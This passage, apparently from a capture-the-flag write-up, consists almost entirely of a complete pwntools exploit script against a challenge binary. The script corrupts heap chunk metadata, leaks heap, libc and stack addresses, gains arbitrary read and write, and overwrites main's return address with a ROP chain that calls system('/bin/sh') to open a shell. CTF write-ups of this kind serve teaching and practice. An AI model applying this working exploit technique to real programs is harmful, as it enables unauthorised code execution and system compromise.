    edit(s, 'u', [0, 2, 1], 'e', payload)

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "chall"
LIBRARY = "libc.so.6"
CONTAINER = "c471d11acd2a"
code_base = 0x555555554000
bp = {
    'ret_main' : 0x555555555418,
}

def edit(s, u_d, index, a_v='a', num=0):
    s.sendline(b"1")
    r = s.recvuntil(b">\n")
    if r.find(b"EMPTY") > 0:
        create(s, a_v, num)
    elif r.find(b"ARRAY") > 0:
        for c, i in enumerate(index):
            s.recvuntil(b"index: ")
            s.sendline(str(i).encode())
            s.recvuntil(b"> ")
            if c == len(index) - 1:
                if u_d == 'u':
                    s.sendline(b"1")
                if u_d == 'd':
                    s.sendline(b"2")
                    return s.recvuntil(b"\n> ")
            else:
                s.sendline(b"1")
        create(s, a_v, num)
    return s.recvuntil(b"\n> ")

def create(s, a_v, num):
    s.recvuntil(b"> ")
    if a_v == 'a':
        s.sendline(b"a")
        s.recvuntil(b"size: ")
        s.sendline(str(num).encode())
    elif a_v == 'v':
        s.sendline(b"v")
        s.recvuntil(b"value: ")
        s.sendline(str(num).encode())
    else:
        s.sendline(num)

def show(s):
    s.sendline(b"2")
    r = s.recvuntil(b"Exit\n> ")
    return r

gs = f'''
b *{bp["ret_main"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def main(server, port, debug):
    if(port):
        s = remote(server, port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY)
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if debug:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)
    log.info(f"root : 0x5555555592a0")
    
    s.recvuntil(b"Exit\n> ")

    edit(s, 'u', [], 'a', 1)
    edit(s, 'u', [0], 'a', 4)
    edit(s, 'u', [0, 0], 'a', 4)
    edit(s, 'u', [0, 1], 'a', 4)
    edit(s, 'u', [0, 2], 'a', 4)
    edit(s, 'u', [0, 3], 'a', 4)
    
    # overwrite arr_t.count of [0, 1]
    edit(s, 'd', [0, 0, 4])
    edit(s, 'u', [0, 0, 4], 'a', 1)
    
    # heap leak
    s.sendline(b"1")
    s.sendlineafter(b"index: ", b"0")
    s.sendlineafter(b"> ", b"1")
    r = s.sendlineafter(b"index: ", b"10")      # invalid index to return menu
    
    heap = int(r.split(b"ARRAY(")[3].split(b")>")[0]) - 0x470
    log.info(f"heap : {hex(heap)}")

    # free [0, 0, 4] (0x20 chunk) and reallocate it to [0, 2, 0] (str_t, also 0x20)
    edit(s, 'd', [0, 0, 4])
    edit(s, 'u', [0, 2, 0], 'v', "A" * 0x10)
    edit(s, 'u', [0, 2, 1], 'v', "B" * 0x10)
    edit(s, 'u', [0, 2, 2], 'v', "C" * 0x10)

    # now that [0, 2, 0] is where [0, 0, 4] was, overwrite str_t.size of [0, 2, 0]
    edit(s, 'd', [0, 3, 4])
    edit(s, 'u', [0, 3, 4], 'v', 0x1000)

    # align top chunk; nextchunk of 0x420 chunk should not be top chunk
    edit(s, 'u', [0, 2, 3], 'a', 0x10)
    edit(s, 'u', [0, 2, 3, 0], 'a', 0x10)
    edit(s, 'u', [0, 2, 3, 1], 'a', 0x10)
    edit(s, 'u', [0, 2, 3, 2], 'a', 0x5)
    edit(s, 'u', [0, 2, 3, 3], 'a', 0x1)        # next_chunk

    # overwrite chunk_size of [0, 2, 2] ("CCCC")
    payload = b"A" * 0x10
    payload += p64(0) + p64(0x51)
    payload += b"\x00" * 0x40
    payload += p64(0) + p64(0x21)
    payload += b"B" * 0x10
    payload += p64(0) + p64(0x51)
    payload += b"\x00" * 0x40
    payload += p64(0) + p64(0x21)
    payload += p64(0x10) + p64(heap + 0x600)    # set [0, 2, 1]->content to [0, 2, 2]
    payload += p64(0) + p64(0x21)
    payload += b"C" * 0x10
    payload += p64(0) + p64(0x51)
    payload += b"\x00" * 0x40
    payload += p64(0) + p64(0x421)
    edit(s, 'u', [0, 2, 0], 'e', payload)

    # move [0, 2, 2] ("CCCC") to unsorted bin
    edit(s, 'd', [0, 2, 2])
    
    # libc leak
    s.sendline(b"1")
    s.sendlineafter(b"index: ", b"0")
    s.sendlineafter(b"> ", b"1")
    s.sendlineafter(b"index: ", b"2")
    s.sendlineafter(b"> ", b"1")
    r = s.sendlineafter(b"index: ", b"10")      # invalid index to return menu

    libc = u64(r.split(b"<S> ")[2].split(b"\n")[0] + b"\x00\x00") - 0x21ace0
    log.info(f"libc : {hex(libc)}")

    # arbitrary read (environ)
    payload = b"A" * 0xe0
    payload += p64(0x10) + p64(libc + lib.symbols['environ'])
    edit(s, 'u', [0, 2, 0], 'e', payload)
    
    # stack leak
    s.sendline(b"1")
    s.sendlineafter(b"index: ", b"0")
    s.sendlineafter(b"> ", b"1")
    s.sendlineafter(b"index: ", b"2")
    s.sendlineafter(b"> ", b"1")
    r = s.sendlineafter(b"index: ", b"10")

    stack = u64(r.split(b"<S> ")[2].split(b"\n")[0] + b"\x00\x00")
    log.info(f"stack : {hex(stack)}")
    ret = stack - 0x120

    # arbitrary write (ret of main)
    payload = b"B" * 0xe0
    payload += p64(0x20) + p64(ret)
    edit(s, 'u', [0, 2, 0], 'e', payload)

    pop_rdi_rbp = 0x2a745
    payload = p64(libc + pop_rdi_rbp)
    payload += p64(libc + next(lib.search(b"/bin/sh")))
    payload += b"C" * 8
    payload += p64(libc + lib.symbols['system'])
    edit(s, 'u', [0, 2, 1], 'e', payload)

    # exit
    s.sendline(b"0")

    s.interactive()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()
    main(args.server, args.port, args.debug)